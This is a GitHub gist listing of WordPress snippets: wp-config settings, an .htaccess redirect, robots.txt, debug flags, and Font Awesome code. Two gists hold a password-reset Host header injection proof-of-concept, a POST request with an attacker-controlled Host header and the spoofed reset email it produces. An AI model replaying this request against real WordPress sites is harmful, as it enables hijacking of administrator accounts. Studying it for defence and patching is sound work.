Skip to content

Instantly share code, notes, and snippets.

View Kaiderella's full-sized avatar
🏠
Working from home

Hieu Bui Trung Kaiderella

🏠
Working from home
View GitHub Profile
@Kaiderella
Kaiderella / wp-config.php
Last active July 22, 2021 02:05
Khai báo URL trong WordPress
define('WP_HOME','https://your-site.com');
define('WP_SITEURL','https://your-site.com');
@Kaiderella
Kaiderella / .htaccess
Last active October 20, 2019 04:12
Tự động redirect tên miền cũ về tên miền mới
#Options +FollowSymLinks
RewriteEngine on
RewriteRule ^(.*)$ https://tenmienmoi.com/$1 [R=301,L]
@Kaiderella
Kaiderella / robots.txt
Last active September 22, 2018 00:26
Tập tin robots.txt dành cho WordPress
User-agent: *
Disallow: /wp-admin/
Disallow: /readme.html
Disallow: /license.txt
Disallow: /?s=*
Allow: /wp-admin/admin-ajax.php
Allow: /wp-admin/images/*
Sitemap: https://wpcanban.com/sitemap_index.xml
@Kaiderella
Kaiderella / wp-config.php
Last active May 10, 2018 01:41
Debug cho WordPress
// Enable WP_DEBUG mode
define('WP_DEBUG', true);
// Enable Debug logging to the /wp-content/debug.log file
define('WP_DEBUG_LOG', true);
// Disable display of errors and warnings
define('WP_DEBUG_DISPLAY', false);
@ini_set('display_errors',0);
@Kaiderella
Kaiderella / functions.php
Created May 22, 2017 02:19
Vô hiệu hóa Heartbeat
add_action( 'init', 'stop_heartbeat', 1 );
function stop_heartbeat() {
wp_deregister_script('heartbeat');
}
@Kaiderella
Kaiderella / resulting-email
Created May 11, 2017 01:51
0 day resulting email
------[ resulting e-mail ]-----
Subject: [CompanyX WP] Password Reset
Return-Path: <wordpress@attackers-mxserver.com>
From: WordPress <wordpress@attackers-mxserver.com>
Message-ID: <e6fd614c5dd8a1c604df2a732eb7b016@attackers-mxserver.com>
X-Priority: 3
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
@Kaiderella
Kaiderella / http-request
Created May 11, 2017 01:47
0 day request
-----[ HTTP Request ]----
POST /wp/wordpress/wp-login.php?action=lostpassword HTTP/1.1
Host: injected-attackers-mxserver.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 56
user_login=admin&redirect_to=&wp-submit=Get+New+Password
------------------------
@Kaiderella
Kaiderella / font-awesome-i-class
Created April 14, 2017 06:24
Chèn Font Awesome với thẻ i
<i class="fa fa-home" aria-hidden="true"></i>
@Kaiderella
Kaiderella / font-awesome-span-class
Created April 14, 2017 06:18
Chèn Font Awesome với thẻ span
<span class="fa fa-home"></span>
@Kaiderella
Kaiderella / functions.php
Last active April 14, 2017 06:11
Tích hợp gián tiếp Font Awesome vào Genesis
add_action( 'wp_enqueue_scripts', 'load_font_awesome' );
function load_font_awesome() {
wp_enqueue_style( 'font-awesome', '//netdna.bootstrapcdn.com/font-awesome/4.7.0/css/font-awesome.min.css', array(), '4.7.0' );
}